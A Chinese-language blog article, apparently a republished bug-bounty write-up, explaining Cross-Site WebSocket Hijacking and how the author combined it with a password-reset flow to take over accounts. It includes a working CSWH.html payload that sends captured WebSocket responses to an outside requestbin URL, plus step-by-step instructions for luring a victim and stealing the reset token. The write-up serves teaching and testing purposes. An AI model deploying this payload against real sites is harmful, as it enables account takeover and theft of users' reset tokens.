溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持

發(fā)布時間:2021-12-16 18:08:48 來源:億速云 閱讀:244 作者:柒染 欄目:安全技術(shù)

本篇文章給大家分享的是有關(guān)如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面分享的是作者在某次漏洞測試中,由于目標(biāo)應(yīng)用使用了WebSocket協(xié)議,經(jīng)測試后,存在跨站W(wǎng)ebSocket劫持漏洞。之后,作者利用該漏洞結(jié)合用戶密碼重置功能,實現(xiàn)了對目標(biāo)應(yīng)用注冊賬戶的賬戶劫持攻擊。

WebSocket協(xié)議技術(shù)

WebSocket 是 HTML5 推出的新協(xié)議,跟 HTTP 協(xié)議內(nèi)容本身沒有關(guān)系。WebSocket 是持久化的協(xié)議,而 HTTP 是非持久連接。WebSocket 提供了全雙工溝通,俗稱 Web 的 TCP 連接,且WebSocket 基于 TCP 實現(xiàn)了消息流。WebSocket 也類似于 TCP 一樣進(jìn)行握手連接,跟 TCP 不同的是,WebSocket 是基于 HTTP 協(xié)議進(jìn)行的握手,它在客戶端和服務(wù)器之間提供了一個基于單 TCP 連接的高效全雙工通信信道。通信協(xié)議從 http://或 https://切換到 ws://或 wss://后,表示應(yīng)用已經(jīng)切換到了WebSocket協(xié)議通信狀態(tài)。

對于實時性要求比較高的應(yīng)用而言,譬如在線證券、在線游戲,以及不同設(shè)備之間信息同步。信息實時同步一直是技術(shù)難題,在 WebSocket 出現(xiàn)之前,常見解決方案一般就是輪詢(Polling)和 Comet 技術(shù),但這些技術(shù)增加了設(shè)計復(fù)雜度,也造成了網(wǎng)絡(luò)和服務(wù)器的額外負(fù)擔(dān),在負(fù)載較大的情況下效率相對低下,導(dǎo)致應(yīng)用的可伸縮行收到制約。對于此類應(yīng)用的開發(fā)者來說,WebSocket 技術(shù)簡直就是神兵利器,詳細(xì)可登陸 websocket.org 網(wǎng)站查看具體應(yīng)用案例。

跨站W(wǎng)ebSocket劫持漏洞

例如,以下是websocket.org 網(wǎng)站和其Echo 測試服務(wù)器echo.websocket.org之間,從HTTP到WebSocket協(xié)議升級切換的握手請求和響應(yīng)。

WebSocket 協(xié)議切換請求:

GET ws://echo.websocket.org/?encoding=text HTTP/1.1
Host: echo.websocket.org
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Origin: http://www.websocket.org
Sec-WebSocket-Version: 13
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) Chrome/49.0.2623.110
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6
Cookie: _gat=1; _ga=GA1.2.2904372.1459647651; JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Connection:Upgrade 和 Upgrade:websocket 這兩行,相當(dāng)于告訴服務(wù)器端:我要申請切換到 WebSocket 協(xié)議。

WebSocket 協(xié)議切換響應(yīng):

HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://www.websocket.org
Connection: Upgrade
Date: Sun, 03 Apr 2016 03:09:21 GMT
Sec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo=
Server: Kaazing Gateway
Upgrade: websocket

一旦服務(wù)器端返回 101 響應(yīng),即可完成 WebSocket 協(xié)議切換。服務(wù)器端即可以基于相同端口,將通信協(xié)議從 http://或 https://切換到 ws://或 wss://。協(xié)議切換完成后,瀏覽器和服務(wù)器端即可以使用 WebSocket API 互相發(fā)送和收取文本和二進(jìn)制消息。

從以上請求響應(yīng)消息中可以看到,WebSocket 協(xié)議沒有規(guī)范 Origin 必須相同,沒有指定“Access-Control-Allow-Origin”,也沒有規(guī)定服務(wù)器在握手階段應(yīng)該如何認(rèn)證客戶端身份,跨域資源共享 Cross-Origin Resource Sharing(CORS)機(jī)制并不適用WebSocket 協(xié)議。所以在此來說,攻擊者可以偽造握手請求來繞過身份認(rèn)證,最終實現(xiàn)的效果就是跨站點WebSocket劫持攻擊(Cross-Site WebSocket Hijacking,CSWH)。

發(fā)現(xiàn)跨站W(wǎng)ebSocket劫持漏洞

有了以上對跨站點WebSocket劫持攻擊的理解,作者在某邀請測試項目中,發(fā)現(xiàn)了某個使用了WebSocket協(xié)議連接的應(yīng)用,在分析了WebSocket URL之后,作者發(fā)現(xiàn)其存在跨站W(wǎng)ebSocket劫持漏洞。

假設(shè)某個應(yīng)用用wss://website.com的方式建立起了WebSocket協(xié)議通道,要驗證它是否存在跨站W(wǎng)ebSocket劫持漏洞,可以遵循以下幾個步驟:

1、在瀏覽器中打開目標(biāo)Web應(yīng)用頁面;

2、在瀏覽器新選項卡中訪問http://websocket.org/echo.html這個測試頁面,在其中的Location處輸入上述目標(biāo)應(yīng)用的WebSocket URL- wss://website.com,點擊 ‘Connect’連接;

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持3、一旦和目標(biāo)WebSocket URL建立起了WebSocket連接,就可以通過該測試頁面向目標(biāo)服務(wù)器中發(fā)送數(shù)據(jù)。在該過過程,我們可以利用BurpSuite來抓取有效連接的websocket數(shù)據(jù)session包,然后,通過更改origin頭的方式進(jìn)行包重放,查看目標(biāo)服務(wù)器的響應(yīng)情況。如果重放后服務(wù)器的響應(yīng)與前面有效session發(fā)送的正常包相同,那就說明該應(yīng)用可能存在跨站W(wǎng)ebSocket劫持漏洞。

當(dāng)然,還可以利用跨站點WebSocket劫持漏洞檢測網(wǎng)站 - http://ironwasp.org/cswsh.html,來確定該漏洞是否存在。通過以上幾個步驟的檢測分析,最終我發(fā)現(xiàn)該應(yīng)用存在跨站W(wǎng)ebSocket劫持漏洞。

利用跨站W(wǎng)ebSocket劫持漏洞劫持賬戶

當(dāng)我在瀏覽器中和目標(biāo)應(yīng)用建立起WebSocket連接之后,我就能獲取到類似以下的WebSocket響應(yīng)數(shù)據(jù)包:

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持仔細(xì)查看上圖,可以發(fā)現(xiàn),其中包含了一個名為 “_forgotPasswordId” 且值為“null”的參數(shù),所以,現(xiàn)在我們需要來確定這個 “_forgotPasswordId” 的值,看看能否對它進(jìn)行利用。對應(yīng)的,我在瀏覽器中,用https方式,輸入了目標(biāo)應(yīng)用相關(guān)的某個注冊郵箱對應(yīng)用戶的忘記密碼功能頁面,如下:

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持之后,我查看此時的WebSocket響應(yīng)數(shù)據(jù)包時,它為forgotPassword帶了一個token,很明顯,這表示我的此次操作得到了服務(wù)端驗證。

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持所以,這種跨站W(wǎng)ebSocket劫持和密碼重置功能的組合,可以充分利用形成對目標(biāo)應(yīng)用特定用戶的賬戶劫持。為此,我寫了以下的Payload腳本CSWH.html,用XHR方式向目標(biāo)應(yīng)用服務(wù)端發(fā)送WebSocket連接請求:

   <!-- Reference http://www.websocket.org/echo.html -->
<!DOCTYPE html>
   <meta charset="utf-8" />
   <title>Testing</title>
   <script language="javascript" type="text/javascript">
   var wsUri = "wss://host.com";
   var output;
   function init()
   {
  output = document.getElementById("output");
  testWebSocket();
   }
   function testWebSocket()
   {
  websocket = new WebSocket(wsUri);
  websocket.onopen = function(evt) { onOpen(evt) };
  websocket.onclose = function(evt) { onClose(evt) };
  websocket.onmessage = function(evt) { onMessage(evt) };
  websocket.onerror = function(evt) { onError(evt) };
   }
   function onOpen(evt)
   {
  writeToScreen("CONNECTED");
  doSend('websocket frame ');
   }
   function onClose(evt)
   {
  writeToScreen("DISCONNECTED");
   }
   function onMessage(evt)
   {
 
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
 xhr.send(evt.data);
  websocket.close();
   }
   function onError(evt)
   {
  writeToScreen('<span >ERROR:</span> ' + evt.data);
   }
   function doSend(message)
   {
  writeToScreen("SENT: " + message);
  websocket.send(message);
   }
   function writeToScreen(message)
   {
  var pre = document.createElement("p");
  pre.style.wordWrap = "break-word";
  pre.innerHTML = message;
  output.appendChild(pre);
   }
   window.addEventListener("load", init, false);
   </script>
   <h3>WebSocket Test</h3>
   <div id="output"></div>

 賬號劫持步驟:

1、把目標(biāo)應(yīng)用的正常密碼重置請求頁面發(fā)送給受害者;

2、在攻擊者網(wǎng)站托管上述CSWH.html,把該html訪問鏈接也發(fā)送受害者;

3、一旦受害者分別點擊了上述兩個URL鏈接之后,攻擊者端就能通過數(shù)據(jù)包監(jiān)聽方式獲取到目標(biāo)應(yīng)用服務(wù)端對此次密碼重置的Websocket響應(yīng)消息,如下:

如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持

4、利用其中的密碼重置token,我們就能向目標(biāo)應(yīng)用服務(wù)端偽造請求,實現(xiàn)對受害者賬戶的密碼重置,以此實現(xiàn)對其賬戶劫持。

以上就是如何利用跨站W(wǎng)ebSocket劫持CSWH實現(xiàn)賬戶劫持,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI